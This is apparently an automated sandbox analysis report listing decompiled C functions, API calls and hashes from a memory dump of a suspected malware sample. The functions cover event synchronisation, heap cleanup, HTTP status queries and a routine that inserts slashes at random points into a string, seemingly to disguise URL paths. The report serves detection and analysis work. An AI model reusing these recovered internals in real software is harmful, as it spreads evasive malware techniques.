Source File: 00000001.00000002.487887011.0000000002F91000.00000020.00000001.sdmp, Offset: 02F90000, based on PE: true

Associated: 00000001.00000002.487875206.0000000002F90000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.487920719.0000000002F9C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.487930045.0000000002F9D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.487944197.0000000002F9F000.00000002.00000001.sdmp Download File

Similarity

API ID: ErrorEventLastReset$MultipleObjectsWait
String ID:
API String ID: 2394032930-0
Opcode ID: 4b805bb95e4f13e1244510d1fa6e74fe81655207a8ceda726d6b45cda690f622
Instruction ID: 2a4c2098c8f28113aa87c58c0c6c785a27d3b633afd273ef761b91560f65e5eb
Opcode Fuzzy Hash: 4b805bb95e4f13e1244510d1fa6e74fe81655207a8ceda726d6b45cda690f622
Instruction Fuzzy Hash: D431C936E00604ABEF22DBA5DC44F6EB7BAEF887E4F1005A9E615D7190E730E945CB10

Uniqueness

Uniqueness Score: -1.00%

Function 02F942EA, Relevance: 6.1, APIs: 4, Instructions: 95
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E02F942EA(signed int _a4, signed int* _a8) {
				void* __ecx;
				void* __edi;
				signed int _t6;
				intOrPtr _t8;
				intOrPtr _t12;
				short* _t19;
				void* _t25;
				void* _t26;
				signed int* _t28;
				CHAR* _t30;
				long _t31;
				intOrPtr* _t32;

				_t6 =  *0x2f9d270; // 0xd448b889
				_t32 = _a4;
				_a4 = _t6 ^ 0x109a6410;
				_t8 =  *0x2f9d27c; // 0xd0a5a8
				_t3 = _t8 + 0x2f9e862; // 0x61636f4c
				_t25 = 0;
				_t30 = E02F97A9A(_t3, 1);
				if(_t30 != 0) {
					_t25 = CreateEventA(0x2f9d2a8, 1, 0, _t30);
					E02F99039(_t30);
				}
				_t12 =  *0x2f9d25c; // 0x2000000a
				if(_t12 <= 5 || _t12 == 6 && _t12 >= 2 ||  *_t32 == 0 || E02F9757F() != 0) {
					L12:
					_t28 = _a8;
					if(_t28 != 0) {
						 *_t28 =  *_t28 | 0x00000001;
					}
					_t31 = E02F9205E(_t32, _t26);
					if(_t31 == 0 && _t25 != 0) {
						_t31 = WaitForSingleObject(_t25, 0x4e20);
					}
					if(_t28 != 0 && _t31 != 0) {
						 *_t28 =  *_t28 & 0xfffffffe;
					}
					goto L20;
				} else {
					_t19 =  *0x2f9d0f0( *_t32, 0x20);
					if(_t19 != 0) {
						 *_t19 = 0;
						_t19 = _t19 + 2;
					}
					_t31 = E02F9A501(0,  *_t32, _t19, 0);
					if(_t31 == 0) {
						if(_t25 == 0) {
							L22:
							return _t31;
						}
						_t31 = WaitForSingleObject(_t25, 0x4e20);
						if(_t31 == 0) {
							L20:
							if(_t25 != 0) {
								CloseHandle(_t25);
							}
							goto L22;
						}
					}
					goto L12;
				}
			}

0x02f942eb
0x02f942f2
0x02f942fc
0x02f94300
0x02f94306
0x02f94315
0x02f9431c
0x02f94320
0x02f94332
0x02f94334
0x02f94334
0x02f94339
0x02f94340
0x02f94395
0x02f94395
0x02f9439b
0x02f9439d
0x02f9439d
0x02f943a7
0x02f943ab
0x02f943bd
0x02f943bd
0x02f943c1
0x02f943c7
0x02f943c7
0x00000000
0x02f94359
0x02f9435e
0x02f94366
0x02f94368
0x02f9436c
0x02f9436c
0x02f94379
0x02f9437d
0x02f94381
0x02f943d6
0x02f943dc
0x02f943dc
0x02f9438f
0x02f94393
0x02f943ca
0x02f943cc
0x02f943cf
0x02f943cf
0x00000000
0x02f943cc
0x02f94393
0x00000000
0x02f9437d

APIs

Part of subcall function 02F97A9A: lstrlen.KERNEL32(02F923E9,00000000,00000000,00000027,00000005,00000000,00000000,02F996DA,74666F53,00000000,02F923E9,02F9D00C,?,02F923E9), ref: 02F97AD0
Part of subcall function 02F97A9A: lstrcpy.KERNEL32(00000000,00000000), ref: 02F97AF4
Part of subcall function 02F97A9A: lstrcat.KERNEL32(00000000,00000000), ref: 02F97AFC

CreateEventA.KERNEL32(02F9D2A8,00000001,00000000,00000000,61636F4C,00000001,00000000,00000001,?,00000000,?,02F93CA0,?,00000001,?), ref: 02F9432B

Part of subcall function 02F99039: HeapFree.KERNEL32(00000000,00000000,02F97F18,00000000,?,?,00000000), ref: 02F99045

WaitForSingleObject.KERNEL32(00000000,00004E20,02F93CA0,00000000,00000000,?,00000000,?,02F93CA0,?,00000001,?,?,?,?,02F96880), ref: 02F94389
WaitForSingleObject.KERNEL32(00000000,00004E20,61636F4C,00000001,00000000,00000001,?,00000000,?,02F93CA0,?,00000001,?), ref: 02F943B7
CloseHandle.KERNEL32(00000000,61636F4C,00000001,00000000,00000001,?,00000000,?,02F93CA0,?,00000001,?,?,?,?,02F96880), ref: 02F943CF

Memory Dump Source

Source File: 00000001.00000002.487887011.0000000002F91000.00000020.00000001.sdmp, Offset: 02F90000, based on PE: true

Associated: 00000001.00000002.487875206.0000000002F90000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.487920719.0000000002F9C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.487930045.0000000002F9D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.487944197.0000000002F9F000.00000002.00000001.sdmp Download File

Similarity

API ID: ObjectSingleWait$CloseCreateEventFreeHandleHeaplstrcatlstrcpylstrlen
String ID:
API String ID: 73268831-0
Opcode ID: ac36d348cbf18942477f7132586987f17d44d56b180bbcf31a1c021dbab85eac
Instruction ID: d027a52ab59715269ed5c3dc0822eaefc7afe8352b45d1157714750185aa5f7b
Opcode Fuzzy Hash: ac36d348cbf18942477f7132586987f17d44d56b180bbcf31a1c021dbab85eac
Instruction Fuzzy Hash: 40213432D403159BEF316FB8AC44F6AB3E9AB98BD4F150615FF55DB100D761C8129690

Uniqueness

Uniqueness Score: -1.00%

Function 02F9A0B2, Relevance: 6.1, APIs: 4, Instructions: 92
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 38%

			E02F9A0B2(void* __ecx, void* __esi) {
				char _v8;
				long _v12;
				char _v16;
				long _v20;
				long _t34;
				long _t39;
				long _t42;
				long _t56;
				intOrPtr _t58;
				void* _t59;
				intOrPtr* _t60;
				void* _t61;

				_t61 = __esi;
				_t59 = __ecx;
				_t60 =  *0x2f9d144; // 0x2f9ad81
				 *((intOrPtr*)(__esi + 0x2c)) = 0;
				do {
					_t34 = WaitForSingleObject( *(_t61 + 0x1c), 0);
					_v20 = _t34;
					if(_t34 != 0) {
						L3:
						_push( &_v16);
						_push( &_v8);
						_push(_t61 + 0x2c);
						_push(0x20000013);
						_push( *((intOrPtr*)(_t61 + 0x18)));
						_v8 = 4;
						_v16 = 0;
						if( *_t60() == 0) {
							_t39 = GetLastError();
							_v12 = _t39;
							if(_v20 == 0 || _t39 != 0x2ef3) {
								L15:
								return _v12;
							} else {
								goto L11;
							}
						}
						if(_v8 != 4 ||  *((intOrPtr*)(_t61 + 0x2c)) == 0) {
							goto L11;
						} else {
							_v16 = 0;
							_v8 = 0;
							 *_t60( *((intOrPtr*)(_t61 + 0x18)), 0x16, 0,  &_v8,  &_v16);
							_t58 = E02F92049(_v8 + 1);
							if(_t58 == 0) {
								_v12 = 8;
							} else {
								_push( &_v16);
								_push( &_v8);
								_push(_t58);
								_push(0x16);
								_push( *((intOrPtr*)(_t61 + 0x18)));
								if( *_t60() == 0) {
									E02F99039(_t58);
									_v12 = GetLastError();
								} else {
									 *((char*)(_t58 + _v8)) = 0;
									 *((intOrPtr*)(_t61 + 0xc)) = _t58;
								}
							}
							goto L15;
						}
					}
					SetEvent( *(_t61 + 0x1c));
					_t56 =  *((intOrPtr*)(_t61 + 0x28));
					_v12 = _t56;
					if(_t56 != 0) {
						goto L15;
					}
					goto L3;
					L11:
					_t42 = E02F91C47( *(_t61 + 0x1c), _t59, 0xea60);
					_v12 = _t42;
				} while (_t42 == 0);
				goto L15;
			}

0x02f9a0b2
0x02f9a0b2
0x02f9a0bc
0x02f9a0c2
0x02f9a0c5
0x02f9a0c9
0x02f9a0d1
0x02f9a0d4
0x02f9a0ed
0x02f9a0f0
0x02f9a0f4
0x02f9a0f8
0x02f9a0f9
0x02f9a0fe
0x02f9a101
0x02f9a108
0x02f9a10f
0x02f9a162
0x02f9a16b
0x02f9a16e
0x02f9a1a9
0x02f9a1af
0x00000000
0x00000000
0x00000000
0x02f9a16e
0x02f9a115
0x00000000
0x02f9a11c
0x02f9a12a
0x02f9a12d
0x02f9a130
0x02f9a13c
0x02f9a140
0x02f9a1a2
0x02f9a142
0x02f9a145
0x02f9a149
0x02f9a14a
0x02f9a14b
0x02f9a14d
0x02f9a154
0x02f9a192
0x02f9a19d
0x02f9a156
0x02f9a159
0x02f9a15d
0x02f9a15d
0x02f9a154
0x00000000
0x02f9a140
0x02f9a115
0x02f9a0d9
0x02f9a0df
0x02f9a0e4
0x02f9a0e7
0x00000000
0x00000000
0x00000000
0x02f9a177
0x02f9a17f
0x02f9a186
0x02f9a186
0x00000000

APIs

WaitForSingleObject.KERNEL32(?,00000000,00000000,00000102,?,00000000,00000000,74B481D0), ref: 02F9A0C9
SetEvent.KERNEL32(?), ref: 02F9A0D9
GetLastError.KERNEL32 ref: 02F9A162

Part of subcall function 02F91C47: WaitForMultipleObjects.KERNEL32(00000002,02F9AA72,00000000,02F9AA72,?,?,?,02F9AA72,0000EA60), ref: 02F91C62

Part of subcall function 02F99039: HeapFree.KERNEL32(00000000,00000000,02F97F18,00000000,?,?,00000000), ref: 02F99045

GetLastError.KERNEL32(00000000), ref: 02F9A197

Memory Dump Source

Source File: 00000001.00000002.487887011.0000000002F91000.00000020.00000001.sdmp, Offset: 02F90000, based on PE: true

Associated: 00000001.00000002.487875206.0000000002F90000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.487920719.0000000002F9C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.487930045.0000000002F9D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.487944197.0000000002F9F000.00000002.00000001.sdmp Download File

Similarity

API ID: ErrorLastWait$EventFreeHeapMultipleObjectObjectsSingle
String ID:
API String ID: 602384898-0
Opcode ID: 8039e57f6a4b43a8786894369ea3e29f81f7b551263c50741edf90c9b04e8890
Instruction ID: 17d726844e980715492b04a078293dcbc6962c58d7645c669d3591e15d03a641
Opcode Fuzzy Hash: 8039e57f6a4b43a8786894369ea3e29f81f7b551263c50741edf90c9b04e8890
Instruction Fuzzy Hash: D431CBB5D00209EFFF21DF95CC8099EBBB9EB08784F10496AE642E2151D771AA85DF60

Uniqueness

Uniqueness Score: -1.00%

Function 02F93BF1, Relevance: 6.1, APIs: 4, Instructions: 87
sleepCOMMON

Download Yara Rule

C-Code - Quality: 40%

			E02F93BF1(void* __ecx, void* __eflags, intOrPtr _a4, signed int* _a8, intOrPtr _a12) {
				intOrPtr _v12;
				void* _v16;
				void* _v28;
				char _v32;
				void* __esi;
				void* _t29;
				void* _t38;
				signed int* _t39;
				void* _t40;

				_t36 = __ecx;
				_v32 = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_v12 = _a4;
				_t38 = E02F99763(__ecx,  &_v32);
				if(_t38 != 0) {
					L12:
					_t39 = _a8;
					L13:
					if(_t39 != 0 && ( *_t39 & 0x00000001) == 0) {
						_t16 =  &(_t39[1]); // 0x5
						_t23 = _t16;
						if( *_t16 != 0) {
							E02F9A022(_t23);
						}
					}
					return _t38;
				}
				if(E02F9A72D(0x40,  &_v16) != 0) {
					_v16 = 0;
				}
				_t40 = CreateEventA(0x2f9d2a8, 1, 0,  *0x2f9d344);
				if(_t40 != 0) {
					SetEvent(_t40);
					Sleep(0xbb8);
					CloseHandle(_t40);
				}
				_push( &_v32);
				if(_a12 == 0) {
					_t29 = E02F98A51(_t36);
				} else {
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_t29 = E02F917D5(_t36);
				}
				_t41 = _v16;
				_t38 = _t29;
				if(_v16 != 0) {
					E02F91F99(_t41);
				}
				if(_t38 != 0) {
					goto L12;
				} else {
					_t39 = _a8;
					_t38 = E02F942EA( &_v32, _t39);
					goto L13;
				}
			}

0x02f93bf1
0x02f93bfe
0x02f93c04
0x02f93c05
0x02f93c06
0x02f93c07
0x02f93c08
0x02f93c0c
0x02f93c18
0x02f93c1c
0x02f93ca4
0x02f93ca4
0x02f93ca7
0x02f93ca9
0x02f93cb1
0x02f93cb1
0x02f93cb7
0x02f93cba
0x02f93cba
0x02f93cb7
0x02f93cc5
0x02f93cc5
0x02f93c2f
0x02f93c31
0x02f93c31
0x02f93c48
0x02f93c4c
0x02f93c4f
0x02f93c5a
0x02f93c61
0x02f93c61
0x02f93c6d
0x02f93c6e
0x02f93c7c
0x02f93c70
0x02f93c70
0x02f93c71
0x02f93c72
0x02f93c73
0x02f93c74
0x02f93c75
0x02f93c75
0x02f93c81
0x02f93c86
0x02f93c88
0x02f93c8a
0x02f93c8a
0x02f93c91
0x00000000
0x02f93c93
0x02f93c93
0x02f93ca0
0x00000000
0x02f93ca0

APIs

CreateEventA.KERNEL32(02F9D2A8,00000001,00000000,00000040,00000001,?,74B5F710,00000000,74B5F730,?,?,?,02F96880,?,00000001,?), ref: 02F93C42
SetEvent.KERNEL32(00000000,?,?,?,02F96880,?,00000001,?,00000002,?,?,02F92417,?), ref: 02F93C4F
Sleep.KERNEL32(00000BB8,?,?,?,02F96880,?,00000001,?,00000002,?,?,02F92417,?), ref: 02F93C5A
CloseHandle.KERNEL32(00000000,?,?,?,02F96880,?,00000001,?,00000002,?,?,02F92417,?), ref: 02F93C61

Part of subcall function 02F98A51: WaitForSingleObject.KERNEL32(00000000,?,?,?,02F93C81,?,02F93C81,?,?,?,?,?,02F93C81,?), ref: 02F98B2B

Memory Dump Source

Source File: 00000001.00000002.487887011.0000000002F91000.00000020.00000001.sdmp, Offset: 02F90000, based on PE: true

Associated: 00000001.00000002.487875206.0000000002F90000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.487920719.0000000002F9C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.487930045.0000000002F9D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.487944197.0000000002F9F000.00000002.00000001.sdmp Download File

Similarity

API ID: Event$CloseCreateHandleObjectSingleSleepWait
String ID:
API String ID: 2559942907-0
Opcode ID: e9650a71283e404cdc7f8d225872676838c0b56873d545df934f5a790644968d
Instruction ID: 8e055b07beb7b751d89eec0adb1d50c01ff6e403c06410d78de08ae6c3a5e0f3
Opcode Fuzzy Hash: e9650a71283e404cdc7f8d225872676838c0b56873d545df934f5a790644968d
Instruction Fuzzy Hash: EB219272D0021DABEF10BFE498849EEB7BAEF483D4B014469EB11E7200D775D985CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 02F9788B, Relevance: 6.1, APIs: 4, Instructions: 61
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E02F9788B(unsigned int __eax, void* __ecx) {
				void* _v8;
				void* _v12;
				signed int _t21;
				signed short _t23;
				char* _t27;
				void* _t29;
				void* _t30;
				unsigned int _t33;
				void* _t37;
				unsigned int _t38;
				void* _t41;
				void* _t42;
				int _t45;
				void* _t46;

				_t42 = __eax;
				__imp__(__eax, _t37, _t41, _t29, __ecx, __ecx);
				_t38 = __eax;
				_t30 = RtlAllocateHeap( *0x2f9d238, 0, (__eax >> 3) + __eax + 1);
				_v12 = _t30;
				if(_t30 != 0) {
					_v8 = _t42;
					do {
						_t33 = 0x18;
						if(_t38 <= _t33) {
							_t33 = _t38;
						}
						_t21 =  *0x2f9d250; // 0xfaac78f3
						_t23 = 0x3c6ef35f + _t21 * 0x19660d;
						 *0x2f9d250 = _t23;
						_t45 = (_t23 & 0x0000ffff) % (_t33 + 0xfffffff8) + 8;
						memcpy(_t30, _v8, _t45);
						_v8 = _v8 + _t45;
						_t27 = _t30 + _t45;
						_t38 = _t38 - _t45;
						_t46 = _t46 + 0xc;
						 *_t27 = 0x2f;
						_t13 = _t27 + 1; // 0x1
						_t30 = _t13;
					} while (_t38 > 8);
					memcpy(_t30, _v8, _t38 + 1);
				}
				return _v12;
			}

0x02f97893
0x02f97896
0x02f9789c
0x02f978b4
0x02f978b8
0x02f978bb
0x02f978bd
0x02f978c0
0x02f978c2
0x02f978c5
0x02f978c7
0x02f978c7
0x02f978c9
0x02f978d4
0x02f978d9
0x02f978ea
0x02f978f2
0x02f978f7
0x02f978fa
0x02f978fd
0x02f978ff
0x02f97905
0x02f97908
0x02f97908
0x02f97908
0x02f97913
0x02f97918
0x02f97922

APIs

lstrlen.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,02F9839A,00000000,?,?,02F9A428,?,03CA95B0), ref: 02F97896
RtlAllocateHeap.NTDLL(00000000,?), ref: 02F978AE
memcpy.NTDLL(00000000,?,-00000008,?,?,?,02F9839A,00000000,?,?,02F9A428,?,03CA95B0), ref: 02F978F2
memcpy.NTDLL(00000001,?,00000001), ref: 02F97913

Memory Dump Source

Source File: 00000001.00000002.487887011.0000000002F91000.00000020.00000001.sdmp, Offset: 02F90000, based on PE: true

Associated: 00000001.00000002.487875206.0000000002F90000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.487920719.0000000002F9C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.487930045.0000000002F9D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.487944197.0000000002F9F000.00000002.00000001.sdmp Download File

Similarity

API ID: memcpy$AllocateHeaplstrlen
String ID:
API String ID: 1819133394-0
Opcode ID: 028c731b3e475249ac11b63ad2e08535f6b03c1bf261a28ccc75281b5c7fd8ff
Instruction ID: da74cee92b7cbaeebd22fc715efbe1d770e754fca160503e412b1dc2d284b06a
Opcode Fuzzy Hash: 028c731b3e475249ac11b63ad2e08535f6b03c1bf261a28ccc75281b5c7fd8ff
Instruction Fuzzy Hash: 201106B2E40218AFD7109F69DC84E9EFBAAEBC57A0B140166F505D7250E7709E14C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 02F97A9A, Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 48
stringCOMMON

Download Yara Rule

C-Code - Quality: 53%

			E02F97A9A(intOrPtr _a4, intOrPtr _a8) {
				char _v20;
				void* _t8;
				void* _t13;
				void* _t16;
				char* _t18;
				void* _t19;

				_t19 = 0x27;
				_t1 =  &_v20; // 0x74666f53
				_t18 = 0;
				E02F96B43(_t8, _t1);
				_t16 = E02F92049(_t19);
				if(_t16 != 0) {
					_t3 =  &_v20; // 0x74666f53
					_t13 = E02F986D8(_t3, _t16, _a8);
					if(_a4 != 0) {
						__imp__(_a4);
						_t19 = _t13 + 0x27;
					}
					_t18 = E02F92049(_t19);
					if(_t18 != 0) {
						 *_t18 = 0;
						if(_a4 != 0) {
							__imp__(_t18, _a4);
						}
						__imp__(_t18, _t16);
					}
					E02F99039(_t16);
				}
				return _t18;
			}

0x02f97aa5
0x02f97aa6
0x02f97aa9
0x02f97aab
0x02f97ab6
0x02f97aba
0x02f97abf
0x02f97ac3
0x02f97acb
0x02f97ad0
0x02f97ad8
0x02f97ad8
0x02f97ae1
0x02f97ae5
0x02f97aeb
0x02f97aee
0x02f97af4
0x02f97af4
0x02f97afc
0x02f97afc
0x02f97b03
0x02f97b03
0x02f97b0e

APIs

Part of subcall function 02F92049: RtlAllocateHeap.NTDLL(00000000,00000000,02F97E50), ref: 02F92055

Part of subcall function 02F986D8: wsprintfA.USER32 ref: 02F98734

lstrlen.KERNEL32(02F923E9,00000000,00000000,00000027,00000005,00000000,00000000,02F996DA,74666F53,00000000,02F923E9,02F9D00C,?,02F923E9), ref: 02F97AD0
lstrcpy.KERNEL32(00000000,00000000), ref: 02F97AF4
lstrcat.KERNEL32(00000000,00000000), ref: 02F97AFC

Strings

Soft, xrefs: 02F97AA6, 02F97ABF

Memory Dump Source

Source File: 00000001.00000002.487887011.0000000002F91000.00000020.00000001.sdmp, Offset: 02F90000, based on PE: true

Associated: 00000001.00000002.487875206.0000000002F90000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.487920719.0000000002F9C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.487930045.0000000002F9D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.487944197.0000000002F9F000.00000002.00000001.sdmp Download File

Similarity

API ID: AllocateHeaplstrcatlstrcpylstrlenwsprintf
String ID: Soft
API String ID: 393707159-3753413193
Opcode ID: 50ac3547a67375e14a2cd5416a2f767b0942dee09b455e92a6685c58139706e7
Instruction ID: ae5b84599604b04728362cecd74dd33bb599c8a5e177b2807b98afe9bba419bd
Opcode Fuzzy Hash: 50ac3547a67375e14a2cd5416a2f767b0942dee09b455e92a6685c58139706e7
Instruction Fuzzy Hash: CF01F272500209B7EF027FA69C84AEFBB6DEF856C5F044422FA0599024EB758A45CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 02F97C61, Relevance: 6.0, APIs: 4, Instructions: 40
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E02F97C61(void* __esi) {
				struct _SECURITY_ATTRIBUTES* _v4;
				void* _t8;
				void* _t10;

				_v4 = 0;
				memset(__esi, 0, 0x38);
				_t8 = CreateEventA(0, 1, 0, 0);
				 *(__esi + 0x1c) = _t8;
				if(_t8 != 0) {
					_t10 = CreateEventA(0, 1, 1, 0);
					 *(__esi + 0x20) = _t10;
					if(_t10 == 0) {
						CloseHandle( *(__esi + 0x1c));
					} else {
						_v4 = 1;
					}
				}
				return _v4;
			}

0x02f97c6b
0x02f97c6f
0x02f97c84
0x02f97c88
0x02f97c8b
0x02f97c91
0x02f97c95
0x02f97c98
0x02f97ca3
0x02f97c9a
0x02f97c9a
0x02f97c9a
0x02f97c98
0x02f97cb1

APIs

memset.NTDLL ref: 02F97C6F
CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,00000000,00000000,74B481D0), ref: 02F97C84
CreateEventA.KERNEL32(00000000,00000001,00000001,00000000), ref: 02F97C91
CloseHandle.KERNEL32(?), ref: 02F97CA3

Memory Dump Source

Source File: 00000001.00000002.487887011.0000000002F91000.00000020.00000001.sdmp, Offset: 02F90000, based on PE: true

Associated: 00000001.00000002.487875206.0000000002F90000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.487920719.0000000002F9C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.487930045.0000000002F9D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.487944197.0000000002F9F000.00000002.00000001.sdmp Download File

Similarity

API ID: CreateEvent$CloseHandlememset
String ID:
API String ID: 2812548120-0
Opcode ID: d64ba341f49425c89a8e5a0197cf30968aa0e3caa55d6908fb92002039179115
Instruction ID: a4ee9a7eb9fff7b314be4cb3c906ac431c83819354216d64c2c24ebf67e52af8
Opcode Fuzzy Hash: d64ba341f49425c89a8e5a0197cf30968aa0e3caa55d6908fb92002039179115
Instruction Fuzzy Hash: E8F0FEF551430CBFF7146F26ECC1C27FBACFB851D9B11892EF14681551D632A8198AB0

Uniqueness

Uniqueness Score: -1.00%

Function 02F975E9, Relevance: 6.0, APIs: 4, Instructions: 29
sleepmemoryCOMMON

Download Yara Rule

C-Code - Quality: 50%

			E02F975E9(void** __esi) {
				char* _v0;
				intOrPtr _t4;
				intOrPtr _t6;
				void* _t8;
				intOrPtr _t11;
				void* _t12;
				void** _t14;

				_t14 = __esi;
				_t4 =  *0x2f9d32c; // 0x3ca95b0
				__imp__(_t4 + 0x40);
				while(1) {
					_t6 =  *0x2f9d32c; // 0x3ca95b0
					_t1 = _t6 + 0x58; // 0x0
					if( *_t1 == 0) {
						break;
					}
					Sleep(0xa);
				}
				_t8 =  *_t14;
				if(_t8 != 0 && _t8 != 0x2f9d030) {
					HeapFree( *0x2f9d238, 0, _t8);
				}
				_t14[1] = E02F994A9(_v0, _t14);
				_t11 =  *0x2f9d32c; // 0x3ca95b0
				_t12 = _t11 + 0x40;
				__imp__(_t12);
				return _t12;
			}

0x02f975e9
0x02f975e9
0x02f975f2
0x02f97602
0x02f97602
0x02f97607
0x02f9760c
0x00000000
0x00000000
0x02f975fc
0x02f975fc
0x02f9760e
0x02f97612
0x02f97624
0x02f97624
0x02f97634
0x02f97637
0x02f9763c
0x02f97640
0x02f97646

APIs

RtlEnterCriticalSection.NTDLL(03CA9570), ref: 02F975F2
Sleep.KERNEL32(0000000A,?,02F923DE), ref: 02F975FC
HeapFree.KERNEL32(00000000,00000000,?,02F923DE), ref: 02F97624
RtlLeaveCriticalSection.NTDLL(03CA9570), ref: 02F97640

Memory Dump Source

Source File: 00000001.00000002.487887011.0000000002F91000.00000020.00000001.sdmp, Offset: 02F90000, based on PE: true

Associated: 00000001.00000002.487875206.0000000002F90000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.487920719.0000000002F9C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.487930045.0000000002F9D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.487944197.0000000002F9F000.00000002.00000001.sdmp Download File

Similarity

API ID: CriticalSection$EnterFreeHeapLeaveSleep
String ID:
API String ID: 58946197-0
Opcode ID: 750d8d3ab05413484c62d070fe3b28590a24d51cd1051112ee9a4e0782a18593
Instruction ID: 31a8b6a194a7e0959e27bf4f86b76efb46bb4036894a08705669de8123c3e5ef
Opcode Fuzzy Hash: 750d8d3ab05413484c62d070fe3b28590a24d51cd1051112ee9a4e0782a18593
Instruction Fuzzy Hash: 03F0DAB1E50245DBEB14AB79D949F16F7A4AF18BC1F148806FA02D6260D770E820CE25

Uniqueness

Uniqueness Score: -1.00%

Function 02F9970F, Relevance: 6.0, APIs: 4, Instructions: 29
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E02F9970F() {
				void* _t1;
				intOrPtr _t5;
				void* _t6;
				void* _t7;
				void* _t11;

				_t1 =  *0x2f9d26c; // 0x204
				if(_t1 == 0) {
					L8:
					return 0;
				}
				SetEvent(_t1);
				_t11 = 0x7fffffff;
				while(1) {
					SleepEx(0x64, 1);
					_t5 =  *0x2f9d2b8; // 0x0
					if(_t5 == 0) {
						break;
					}
					_t11 = _t11 - 0x64;
					if(_t11 > 0) {
						continue;
					}
					break;
				}
				_t6 =  *0x2f9d26c; // 0x204
				if(_t6 != 0) {
					CloseHandle(_t6);
				}
				_t7 =  *0x2f9d238; // 0x38b0000
				if(_t7 != 0) {
					HeapDestroy(_t7);
				}
				goto L8;
			}

0x02f9970f
0x02f99716
0x02f99760
0x02f99762
0x02f99762
0x02f9971a
0x02f99720
0x02f99725
0x02f99729
0x02f9972f
0x02f99736
0x00000000
0x00000000
0x02f99738
0x02f9973d
0x00000000
0x00000000
0x00000000
0x02f9973d
0x02f9973f
0x02f99747
0x02f9974a
0x02f9974a
0x02f99750
0x02f99757
0x02f9975a
0x02f9975a
0x00000000

APIs

SetEvent.KERNEL32(00000204,00000001,02F98099), ref: 02F9971A
SleepEx.KERNEL32(00000064,00000001), ref: 02F99729
CloseHandle.KERNEL32(00000204), ref: 02F9974A
HeapDestroy.KERNEL32(038B0000), ref: 02F9975A

Memory Dump Source

Source File: 00000001.00000002.487887011.0000000002F91000.00000020.00000001.sdmp, Offset: 02F90000, based on PE: true

Associated: 00000001.00000002.487875206.0000000002F90000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.487920719.0000000002F9C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.487930045.0000000002F9D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.487944197.0000000002F9F000.00000002.00000001.sdmp Download File

Similarity

API ID: CloseDestroyEventHandleHeapSleep
String ID:
API String ID: 4109453060-0
Opcode ID: 63fbbb30a98c24bc0c01b7e78cb421ab49d1d8ec801e4bdd76362c25717e58ca
Instruction ID: 1292c529d8555b9010170fbaccf787a4b883112d8d3bc7182c1e8621cfb80e0d
Opcode Fuzzy Hash: 63fbbb30a98c24bc0c01b7e78cb421ab49d1d8ec801e4bdd76362c25717e58ca
Instruction Fuzzy Hash: 74F0A030F8530C4BEF207F36A888B06B7A8AB04FD0B160E09BA14D3290DF66D420D661

Uniqueness

Uniqueness Score: -1.00%

Function 02F9A5D6, Relevance: 6.0, APIs: 4, Instructions: 28
sleepmemoryCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E02F9A5D6() {
				void* _v0;
				void** _t3;
				void** _t5;
				void** _t7;
				void** _t8;
				void* _t10;

				_t3 =  *0x2f9d32c; // 0x3ca95b0
				__imp__( &(_t3[0x10]));
				while(1) {
					_t5 =  *0x2f9d32c; // 0x3ca95b0
					_t1 =  &(_t5[0x16]); // 0x0
					if( *_t1 == 0) {
						break;
					}
					Sleep(0xa);
				}
				_t7 =  *0x2f9d32c; // 0x3ca95b0
				_t10 =  *_t7;
				if(_t10 != 0 && _t10 != 0x2f9e836) {
					HeapFree( *0x2f9d238, 0, _t10);
					_t7 =  *0x2f9d32c; // 0x3ca95b0
				}
				 *_t7 = _v0;
				_t8 =  &(_t7[0x10]);
				__imp__(_t8);
				return _t8;
			}

0x02f9a5d6
0x02f9a5df
0x02f9a5ef
0x02f9a5ef
0x02f9a5f4
0x02f9a5f9
0x00000000
0x00000000
0x02f9a5e9
0x02f9a5e9
0x02f9a5fb
0x02f9a600
0x02f9a604
0x02f9a617
0x02f9a61d
0x02f9a61d
0x02f9a626
0x02f9a628
0x02f9a62c
0x02f9a632

APIs

RtlEnterCriticalSection.NTDLL(03CA9570), ref: 02F9A5DF
Sleep.KERNEL32(0000000A,?,02F923DE), ref: 02F9A5E9
HeapFree.KERNEL32(00000000,?,?,02F923DE), ref: 02F9A617
RtlLeaveCriticalSection.NTDLL(03CA9570), ref: 02F9A62C

Memory Dump Source

